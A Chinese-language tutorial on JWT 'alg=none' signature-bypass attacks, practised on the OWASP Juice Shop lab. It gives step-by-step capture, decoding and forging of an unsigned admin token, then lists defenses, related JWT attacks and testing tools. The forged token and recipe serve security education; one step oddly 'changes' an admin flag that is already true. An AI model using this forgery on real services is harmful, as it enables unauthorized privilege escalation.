JWT劫持攻击全面指南

1. JWT基础概念

1.1 什么是JWT

JWT(JSON Web Token)是一种紧凑的Claims声明格式，主要用于空间受限的环境进行传输，常见于HTTP授权请求头参数和URI查询参数。它将Claims转换为JSON格式，然后通过数字签名或加密进行保护。

1.2 JWT的组成结构

JWT由三部分组成，用点号(.)连接：

1. 头部(Header)

   • 包含令牌类型和加密算法
   • 示例：{"typ":"JWT","alg":"HS256"}
   • Base64编码后：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

2. 载荷(Payload)

   • 包含自定义的声明信息
   • 示例：{"sub":"1234567890","name":"John Doe","admin":true}
   • Base64编码后：eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9

3. 签名(Signature)

   • 由头部+载荷+密钥通过指定算法生成
   • 示例：TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

完整JWT示例：
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

2. 实验环境搭建

2.1 使用OWASP Juice Shop靶场

# 拉取Owasp juice shop容器
docker pull bkimminich/juice-shop

# 启动容器
docker run -d -p 3000:3000 bkimminich/juice-shop

访问地址：http://[IP]:3000

2.2 创建测试账户

• 用户名：lee@163.com
• 密码：123456

3. JWT劫持攻击原理

3.1 攻击可行性分析

1. 头部：Base64编码，可见且可操作
2. 载荷：Base64编码，可修改内容
3. 签名：依赖密钥，攻击者通常不知道

关键问题：如何绕过签名验证？

3.2 攻击思路

通过修改JWT头部中的加密算法为none，使服务器不验证签名：

1. 将算法从HS256改为none
2. 删除签名部分（设置为空）
3. 修改载荷中的权限信息

4. JWT劫持攻击复现步骤

4.1 捕获JWT令牌

1. 使用测试账户登录
2. 使用Burp Suite或类似工具抓包
3. 找到包含Authorization头的请求

示例JWT：
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

4.2 解码分析

使用在线工具解码各部分：

头部解码：

{
  "alg": "HS256",
  "typ": "JWT"
}

载荷解码：

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
}

4.3 构造攻击JWT

1. 修改头部算法为none：

{
  "alg": "none",
  "typ": "JWT"
}

Base64编码：eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

2. 修改载荷提升权限（如将admin改为true）

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
}

Base64编码：eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9

3. 删除签名部分，只保留头部和载荷，最后加一个点号

最终攻击JWT：
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.

4.4 发送修改后的JWT

将构造的JWT替换原始请求中的Authorization头，观察是否获得提升的权限。

5. 防御措施

1. 拒绝none算法：服务器应明确拒绝alg=none的JWT
2. 固定算法：验证JWT时指定预期的算法，而不是依赖令牌中的声明
3. 密钥保护：确保签名密钥安全，不使用弱密钥
4. 令牌有效期：设置合理的过期时间
5. HTTPS传输：防止令牌在传输过程中被截获
6. 黑名单机制：对已注销的令牌进行管理

6. 扩展攻击方式

除了none算法攻击外，JWT还可能面临以下攻击：

1. 弱密钥破解：对HS256算法暴力破解弱密钥
2. 密钥混淆攻击：当服务端同时支持多种算法时
3. KID参数注入：操纵JWT头部中的key ID参数
4. JWK参数注入：操纵JSON Web Key参数

7. 工具推荐

1. jwt.io：在线JWT解码/编码工具
2. jwt_tool：功能强大的JWT测试工具
3. Burp Suite JWT插件：方便修改和重放JWT
4. Postman：用于API和JWT测试

通过本指南，您应该能够全面理解JWT劫持攻击的原理、实施方法和防御措施。在实际渗透测试中，请确保获得合法授权后再进行测试。